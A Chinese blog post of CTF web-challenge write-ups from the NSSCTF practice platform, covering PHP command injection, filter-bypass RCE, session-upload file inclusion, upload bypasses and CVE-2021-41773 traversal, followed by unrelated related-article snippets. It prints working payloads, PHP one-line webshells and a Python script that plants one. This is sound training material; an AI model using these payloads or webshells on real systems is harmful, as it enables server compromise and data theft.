nss刷题4
[SWPUCTF 2023 秋季新生赛]Pingpingping
看看源码,首先是get传参Ping_ip.exe,然后如果请求了_ping参数,就会执行ping命令,执行三次
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){system("ping -c 3 ".$_ping);
}else{$data = base64_encode(file_get_contents("error.png"));echo "<img src='data:image/png;base64,$data'/>";
}
这里里有两个要点,一个是要保证传入的参数是要求的,另一个是要怎样执行命令。第一个点是要把_换为[,保证后面的字符不被转义,然后是拼接命令,用||管道符来拼接命令,作用是当管道符前面的命令成功执行以后,后面的命令才会执行
PHP中我们变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、
[
则会被转化为_
,如果传入[
,它被转化为_之后,后面的字符就会被保留下来不会被替换。
payload:
?Ping[ip.exe=127.0.0.1 || ls /
payload:
?Ping[ip.exe=127.0.0.1||cat /flag
[鹏城杯 2022]简单的php(无参数rce)
看一下源码,可以看到上面过滤了大小写字母和数字还有很多符号,一共有两个点,第一个点可以用取反绕过,第二个点可以用二维数组绕过。
<?php
show_source(__FILE__);$code = $_GET['code'];if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);}?>
异或:用两个非数字和字母的组合做异或运算,等于自己想要的字符。
取反:将字符串的ascii编码的整数值进行按位取反。
<?php
show_source(__FILE__);$code = $_GET['code'];if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ //过滤除了空白字符和()以外的内容,但是只有code的内容被匹配至还剩;才会触发这个语句。@eval($code);}?>
part1:为什么要用取反绕过,因为字符字母和数字都被禁用了,使用编码和字符转换来绕过过滤机制,要先使用phpinfo函数,看看有哪些禁用的函数,才能继续往后面看。
<?php
$s="phpinfo";
echo '~'.urlencode(~$s);
//~%8F%97%8F%96%91%99%90 ,得到的结果是这个,也就是phpinfo,也就是异或取反操作//之后需要用[]来执行,将返回的内容作为数组来储存,后面的[!%ff]是[0]用来取出数组中的内容
[~%8f%97%8f%96%91%99%90][!%ff]//变成一句完整的话。
[~%8f%97%8f%96%91%99%90][!%ff]();其实就是[phpinfo][0]();
可以看到上面没有过滤任何函数
part2:使用脚本注入一句话木马,使用蚁剑连接就可以
import requestscommand = "system(end(getallheaders()))" //返回所有http头部的最后的一项
##异或取反脚本
codes = command.replace(")", "").split("(")[:-1][::-1]
res = ""
inline = ""
for code in codes:re_code = "~" + "".join(["%" + hex(255 - ord(i))[2:] for i in code])res = f"[{re_code}][!%ff]({inline})"inline = res //异或取反并转url格式
url = f"http://node7.anna.nssctf.cn:27413/?code={res};"
flag = requests.get(url, headers={'cmd': 'echo "<?php @eval(\$_POST[1]);?>">1.php'})
print(flag.text) //向目标网站注入一句话木马
根目录下就有flag
[SWPUCTF 2023 秋季新生赛]If_else
1.看看源码,上面说可以自定义if的条件,满足条件时a和b同时是真时,就可以执行下面的cat /flag,但是直接访问check.php是不存在的,并且也不可以手动修改a和b的值,说明当我们check传参后,参数写进去了check.php,才会有check.php,提交方式是post传参check,我们要执行eval语句,就要满足上面的条件。
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果提交方式$_POST["check"]记得访问一下check.php哦~check.php的内容
<?php$a=false;$b=false;if(你提交的部分将会被写至这里){$a=true;}else{$b=true;}if($a===true&&$b===true)eval(system(cat /flag));
?>
2.根据上面的,传参check=1==1) eval(system('cat /f*'));/*,再访问check.php
代码会变成,像这样,注释掉了后的内容,就可以不用再管满足条件的事,同时,达到了我们1想要flag的目的
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=false;
$b=false;
if(1==1) eval(system('cat /f*')); /*)
{$a=true;
}
else
{$b=true;
}
if($a===true&&$b===true)
{
eval(system(cat /flag));
}
得到flag
[第五空间 2021]EasyCleanup
看看源码,要求传参mode=eval,同时通过shell传递php代码,长度不能超过15,以及过滤了while等函数和字符,然后会执行传参的代码,可以通过file传递参数,会包含有一个文件,但是要求字符长度不能长于15,同时过滤了上面显示的字符。
<?php
if(!isset($_GET['mode'])){ highlight_file(__file__);
}else if($_GET['mode'] == "eval"){ //要求mode=eval$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; //get传参shell,保证满足下面的条件,然后执行php代码if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell);
} if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; //file函数,检查file的内容有没有超过15字符,同时会包含有一个文件
} function filter($var){ //filter函数,给出了禁用的字符和函数$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False;
} function checkNums($var){ //会检查传参的字符段中是否超过含有大小写字母和数字中的8个$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False;
}
?>
这里有两个地方可以用,一个是传参用rce,另一个是文件包含的漏洞,按照上面的限制,使用rce不太方便,那么就考虑文件包含的漏洞,在php5.4的版本以后,session.upload_progress功能在浏览器向服务器上传文件时,会将本次文件上传的详细信息保存在session中,可以通过这个将恶意语句放在session里面,配置要求如下
session.auto_start:如果 session.auto_start=On,php在请求开始时就会初始化session,不需要执行session_start,,默认是关闭的。
session.use_strict_mode:默认是关闭的,可以自己定义SessionID,eg:在cookie里面定义PHPSSESID=xxx,php就会在服务器上定义一个/tmp/sess_xxx文件,此时不需要手动,php会自动初始化session。
session.save_path:上面说的文件的存放位置。
session.upload_progress_enabled:配置为on时,session.upload_progress功能开启,上传文件的信息保存在session中,此方法可用,反之则不可以用。
session.upload_progress_cleanup:默认是on,文件上传结束后,立刻删除session的信息,如果此功能开启,需要进行条件竞争。
可以先传参?mode=eval,看看环境变量里面的这些功能是什么情况,session.upload_progress_cleanup是off,不需要进行条件竞争,session.save_path为/tmp,则文件的默认路径为/tmp/sess_xxx,
然后就是需要再cookie中添加一个PHPSESSID=xxx,然后是文件上传,文件上传必须有两个及以上的文件,才能成功保存在session中。同时,要保证文件上传的字段有PHP_SESSION_UPLOAD_PROGRESS字段,有脚本,拿来看一下
#session_upload_python
import io
import requests
import threading #多线程myurl = 'http://node4.anna.nssctf.cn:28888/'
sessid = '7t0'
myfile = io.BytesIO(b'5fn_' * 1024) #文件插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"} #这里写命令
mycookie = {'PHPSESSID': sessid}def writeshell(session):while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)def getshell(session):while True:payload_url = myurl + '?file=' + '/tmp/sess_' +sessidresp = requests.get(url=payload_url)if 'upload_progress' in resp.text:print(resp.text)breakelse:passif __name__ == '__main__':session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,))writeshell.daemon = Truewriteshell.start()getshell(session)
得到flag的储存位置
重抓一下nssctfasdasdflag ,得到flag
[SWPUCTF 2021 新生赛]hardrce_3
看看源码,是无参数rce,而且不允许使用异或和取反,那么就用自增和取反编码。
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\^','\~','\|'];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{echo "蔡总说:注意审题!!!";
}
?>
way1:自增,通过构造assert函数来执行我们想要的命令,构造好以后url编码。借鉴一下
payload:
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo(); //这里的_用来将下面的phpinfo();与上面的post传参连接起来
编码后就是:这段代码的含义是assert($POST[_]);
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27%21%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B
可以看到禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcnt
写入一句话木马,连接就可以
_=file_put_contents('1.php','<?php eval($_POST['aa']);?>');
这里连上了,但是没有权限看其他的目录
way2:取反编码,因为取反编码后的,例如%8c代表的是一个整体的url编码,并不会被识别成数字和字母的组合,但是在网页解析后,又会解url编码,因此可以绕过指令的目的。
脚本:
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
结果:
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
构造就是:
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
命令执行成功,发现存在名为flllllaaaaaaggggggg的文件,cat一下
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
不知道为什么其他师傅成功了,我的不行,有路过的师傅帮忙解答一下。
[SWPUCTF 2022 新生赛]Ez_upload
打开页面是一个文件上传的题目,先上传一个php的一句话木马,提示说不允许ph结尾的后缀,那么双写这些都不能用。
既然这样就上传.htaccess配置文件去解析,上传的什么鬼,连这个也不能,那就要考虑MIME类型的
修改content-type为image/jpg,上传,成功
接下来就可以执行我们上传的木马了,连接蚁剑,连上了
在目录里面没有,抓也抓不到,在蚁剑里面右键打开终端,看看环境变量(env),得到flag
或者命令执行直接看 也能看到
[极客大挑战 2020]welcome
打开页面什么都没有
抓包看看 ,改改请求方式,看到了题目本来的样子,很简单,就是数组绕过
注意最下面有一行小字,上面说叫我们在phpinfo中收集信息,看到了一个很像flag的文件,看看试试
直接访问这个页面是404
看看返回的消息头 ,得到flag
[HNCTF 2022 WEEK2]Canyource
是rce,看看源码,禁用了一些函数和一些伪协议的头
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?> please input code
正则表达式含义如下,也就是说题目要求payload的格式要有复杂的函数调用,最后递归的结果要是;,或者说是一个空字符串。
\W代表匹配非字符
[^abc]代表匹配非abc以外的元素
R代表当前正则匹配后的结果
?惰性匹配,匹配零次或一次
\转义字符
有点解释不清楚,看看cheatGTP的说法
正则表达式解析
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
:
- 这个正则表达式试图匹配形如
function(arg)
的结构,即一个单词([^\W]+
)后面跟着一个括号及可能的参数((…)
)。- 具体而言,它尝试通过正则表达式去除代码中包含函数调用的部分。正则中的
(?R)
是一个递归模式,用来匹配括号中的内容,从而识别复杂的嵌套结构。- 这样做的目的是,假如传入的代码包含了函数调用,它会把这些部分去掉,如果去掉后剩下的只是一个分号(即一个简单的PHP语句),那么代码才会继续执行。
因此,就只能使用函数嵌套函数的payload,接下来介绍一些函数的
readfile()
是PHP中的一个内置函数,用于输出文件内容。
scandir()
是另一个内置函数,用于列出指定目录中的文件和文件夹。返回的结果是一个数组,包含该目录下的所有文件和子目录。
localeconv()
是一个PHP函数,用来返回当前区域设置的各种货币和数值格式信息。但是在这里localeconv()
并不是用来直接获取本地化信息的,而是通过它返回的数组作为scandir()
的参数,利用array_rand()
和array_flip()
来构造一个目录路径。
array_flip()
会将数组的键和值互换。这里的用法是用来转换前面的scandir返回的文件列表
array_rand()
从数组中随机选取一个或多个键
?code=print_r(localeconv());
payload如下:(方法不唯一,有很多)
way1:
/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
localeconv()
:返回一个包含当前区域设置的数组,包含货币、数字格式等信息。pos(localeconv())
:pos()
返回数组的第一个元素。在这个情况下,它会返回localeconv()
的第一个值。这个值通常是一个表示当前区域设置的字符串,例如en_US
。scandir(pos(localeconv()))
:scandir()
列出指定目录中的所有文件和子目录。此处它会尝试列出由pos(localeconv())
返回的目录(即返回的是一个字符串路径)。如果该目录存在并且是一个有效的路径,scandir()
会列出该路径下的文件。array_flip(scandir(...))
:array_flip()
将scandir()
返回的数组的键和值交换。这样,目录中的文件名变成数组的键。array_rand(array_flip(...))
:array_rand()
从交换过的数组中随机选择一个文件名。readfile(...)
:readfile()
将指定路径的文件内容输出到浏览器中。
way2:
/?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
localeconv()
:与第一个payload相同,返回当前区域设置的数组。pos(localeconv())
:同样返回localeconv()
的第一个值。scandir(pos(localeconv()))
:列出pos(localeconv())
返回的目录中的所有文件。array_reverse(...)
:array_reverse()
将scandir()
返回的文件列表反转。这样文件列表的顺序变为从最后一个文件开始。next(...)
:next()
将指针移动到数组的下一个元素并返回该元素,即返回列表中的第一个文件(原本是反转后的最后一个文件)。readfile(...)
:与第一个payload相同,readfile()
将读取并输出该文件的内容。echo(...)
:echo
用于输出readfile()
的返回值。readfile()
返回的是文件的字节数,因此echo
会输出字节数。
way3: 传参以后查看源代码得到flag
?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');
get_defined_vars()
:get_defined_vars()
返回当前作用域中所有定义的变量。这个函数返回一个关联数组,键是变量名,值是对应变量的值。current(...)
:current()
返回数组中的当前元素(指针所指向的元素)。在这个上下文中,current(get_defined_vars())
会返回当前作用域中第一个定义的变量。end(...)
:end()
将数组指针指向数组的最后一个元素并返回它的值。因此,end(current(get_defined_vars()))
会返回当前作用域中最后一个定义的变量。eval(...)
:eval()
将执行传入的代码。由于end(current(get_defined_vars()))
返回的是一个变量,且假设该变量包含的是PHP代码(如一个字符串),则eval()
会执行该变量所包含的代码。
[SWPUCTF 2023 秋季新生赛]一键连接!
rce,看看源码,get传参md5_1和md5_2,弱比较。get传参sha1_1和sha2_2,原值不等,sha值相等,还要满足new_player等于Welcome to NSSCTF!!!,下面有提示用data协议,然后post传参Nss执行代码。
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") { //文件包含函数,要求传递固定的数据echo "Congratulations~~~~~~~~~";echo "试试need Antsword<br/>";@eval($_POST['Nss']);}else{echo "可曾听过data协议?";}} else {echo "sha1又如何相等呢";}
} else {echo "如何让md5值相等呢¿";
}
如何让md5值相等呢¿
先按要求绕过,再找flag,payload
?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain,Welcome to NSSCTF!!!
得到flag
[FSCTF 2023]巴巴托斯!
上面说:访问被拒绝
意思就是要我们修改请求头,然后又问是不是本地人,就是修改XXF。
没有问题了,但是什么都没有
尝试看看源码 ,payload:http://node4.anna.nssctf.cn:28247/index.php?file=php://filter/convert.base64-encode/resource=index.php
解码得到 ,上面没有其他限制了,但是我们要用php伪协议来读取flag文件
<?php$in_name = $_GET['file'];if (isset($in_name)) {if ($in_name === 'show_image.php') {// 直接包含文件include($in_name);}// 检查特定的 User-Agent 和 Referer 头$user_agent = $_SERVER['HTTP_USER_AGENT'];// 检查来源地址是否为 127.0.0.1$ip_address = $_SERVER['REMOTE_ADDR'];if ($user_agent === 'FSCTF Browser') {if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] === '127.0.0.1') {// 检查文件是否存在和可读if (isset($in_name)) {include($in_name);} else {echo "Invalid file!";}} else {echo "Access Denied! Are you local man?";}} else {echo "Access Denied! I love FSCTF Browser";}
} else {header('Location: index.php?file=show_image.php');
}
?>
尝试读取flag文件
解码得到flag
[HZNUCTF 2023 preliminary]guessguessguess
看起来像是sql,还给了username和password。
当id=4时,上面说flag在这里,但是尝试sql没有结果
输入hint,得到,是逆序的
输入tnih,得到,这个题并不是sql,而是sql
尝试看看目录,没有
试试看看环境变量,没有就不太可能是rce了,尝试了phpinfo();,但是没有回显,估计是已经闭合了,所以不需要再闭合了
[SWPUCTF 2023 秋季新生赛]NSS_HTTP_CHEKER
很直接,就是考最基本的html的内容,包括get和post传参,请求头修改
[WUSTCTF 2020]CV Maker
标准的网页题,可以直接注册和登录,登录后上面有一个可以上传头像的位置,上传试试,看看是不是文件上传的题目。
尝试直接上传一个php文件,上面显示exif_imagetype not image!,该函数会检查文件头是不是图片类型,
写一个图片文件头的php木马上传看看,能上传成功,查看页面的源码,给出了文件上传的位置
链接蚁剑看看
打开蚁剑后有两个flag文件,虽然他们都有大小,但是打开什么都没有
打开终端看看环境里面 ,找到flag
[NSSRound#7 Team]ec_RCE
rce,看看源码,上面的是要求同时传参的参数,看下面有一个shell_exec(),这个函数会执行上面参数里面的内容,并保存在output里面
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHPif(!isset($_POST["action"]) && !isset($_POST["data"]))show_source(__FILE__);putenv('LANG=zh_TW.utf8'); $action = $_POST["action"];$data = "'".$_POST["data"]."'";$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");echo $output;
?>
这里考的点是shell_exec会执行里面的内容,但是我们传递的是两个参数,需要分开执行,可以用管道符或者是分号来分隔,这样就能做到同时执行了
payload形如:要写两个参数是因为题目要求同时使用两个参数,用管道符和分号是因为需要用管道符来执行后面的命令。
action=||&data='cat /flag'
action=||cat%20&data=/flag
action=;cat /flag&data=
[NSSRound#4 SWPU]ez_rce
什么是cvs漏洞?
版本漏洞:CVE-2021-41773
CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对 CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息
漏洞利用:在此题中,有固定的利用目录,就是目录穿越,但是需要加上url编码,通过目录穿越可以加上命令执行,可以继续。使用post传参,加上命令执行。
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
实际上是: /cgi-bin/../../../../../bin/sh
之后得到flag的位置,就是找flag,递归找该目录下面的带有NSS的语句,使用命令
grep -r "NSS" /flag_is_here
或者慢慢找也行,在run.sh里面有提示
然后就可以直接拿
[LitCTF 2024]浏览器也能套娃?
打开页面叫我们输入一个url试试,尝试一下百度的网址,这里像是一个ssrf漏洞:服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等
这样的话,可以尝试用伪协议读取文件系统中的文件。
file:///flag,得到flag,file://伪协议,/flag根目录下的flag文件
[GKCTF 2020]CheckIN
打开后直接就有源码,上面没有要求有固定的请求方式,而是只要是请求方式就可以,上面定义的类会将Ginkgo传参的内容进行base64解码,然后由eval函数执行解码后的内容,解析下来就是这么一回事。
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();
可以先看看环境变量,看看上面被ban了些什么函数、
禁用的函数如下
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,
尝试写入一句话木马eval($_POST['a']);
链接蚁剑
打开后有两个flag文件,但是里面都没有flag,phpinfo()知道了php版本为7.3,这个版本有一个漏洞,具体的exp,给一下项目地址
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
成功上传
介绍一个函数:pwn函数
连接远程服务:通过指定目标主机和端口,创建一个与远程服务的连接。
本地调试:在本地运行可执行文件,并通过管道与它进行交互。
漏洞利用框架:在漏洞利用脚本中,使用
pwn
函数来发送payload、接收响应等。
修改一下pwn的执行文件
可以在蚁剑里面运行终端或者是用上传的木马来执行刚刚的上传的文件,得到flag
[NSSRound#8 Basic]MyPage
相关文章:

nss刷题4
[SWPUCTF 2023 秋季新生赛]Pingpingping 看看源码,首先是get传参Ping_ip.exe,然后如果请求了_ping参数,就会执行ping命令,执行三次 <?php highlight_file(__FILE__); error_reporting(0); $_ping $_GET[Ping_ip.exe]; if(isset($_ping…...
Eclipse 编译项目指南
Eclipse 编译项目指南 引言 Eclipse 是一款功能强大的集成开发环境(IDE),广泛用于Java、C/C、Python等多种编程语言的开发。在Eclipse中编译项目是进行软件开发的基础步骤。本文将详细介绍如何在Eclipse中编译项目,包括项目设置…...

天佐.乾坤袋 基于抽屉式文件存储的NoSql数据库
天佐.乾坤袋 天佐.乾坤袋 简介 天佐.乾坤袋 基于抽屉式文件存储的NoSql数据库,可用于文件打包,数据整合,加密存放等多种用途。可以方便快捷的搭建和部署存储应用的系统。 传说: 弥勒所有,专做储物之用。拥有不可思议之力&#x…...

win11编译pytorch cuda128版本流程
Geforce 50xx系显卡最低支持cuda128,torch cu128 release版本目前还没有释放,所以自己基于2.6.0源码自己编译wheel包。 1. 前置条件 1. 使用visual studio installer 安装visual studio 2022,工作负荷选择【使用c的桌面开发】,安装完成后将…...
Windows 11 下正确安装 Docker Desktop 到 D 盘的完整教程
文章目录 Windows 11 在 D 盘正确安装 Docker Desktop 的完整教程**前言****准备工作****1. 手动创建 Docker 相关目录**(⚠️ **这一步非常重要**,否则会报错)**2. 下载 Docker Desktop 安装程序****3. 使用管理员权限打开终端** **安装 Doc…...

IDEA - 查看类的继承结构(通过快捷键查看、通过生成类图查看)
一、通过快捷键查看 在项目中定位到目标类(例如,Executor.java) 按下快捷键 【Ctrl H】 此时会弹出 Type Hierarchy 窗口,展示所有相关的父类、子类、接口 二、通过生成类图查看 在项目中定位到目标类(例如&#x…...
Vue 3指令全解析:内置指令与自定义指令实战指南
Vue指令是模板语法的核心武器,它们以v-前缀的形式为HTML元素添加特殊功能。本文将深入探讨Vue 3中的指令系统,覆盖10个核心指令的妙用,并手把手教你打造专属自定义指令。 一、Vue指令基础认知 指令本质上是DOM操作的语法糖,它们&…...
Springboot 自动化装配的原理
Springboot 自动化装配的原理 SpringBoot 主要作用为:起步依赖、自动装配。而为了实现这种功能,SpringBoot 底层主要使用了 SpringBootApplication 注解。 首先,SpringBootApplication 是一个复合注解,它结合了 Configuration、…...

Linux——进程池
前言:大佬写博客给别人看,菜鸟写博客给自己看,我是菜鸟。 1.实现思路 思路:通过创建匿名管道,来实现父子进程之间的通信 注1:父写,子读 注2:匿名管道只能用来进行具有血管关系的进程…...
Qt基于等待条件QWaitCondition实现的任务队列模型示例
核心概念 Qt中的QWaitCondition是一个用于多线程同步的类,允许线程在某些条件满足时唤醒其他等待的线程。它通常与QMutex配合使用,协调线程之间的执行顺序,适用于生产者-消费者模型、任务队列调度等场景。 wait():使当前线程进…...

微服务即时通信系统---(六)语音识别子服务
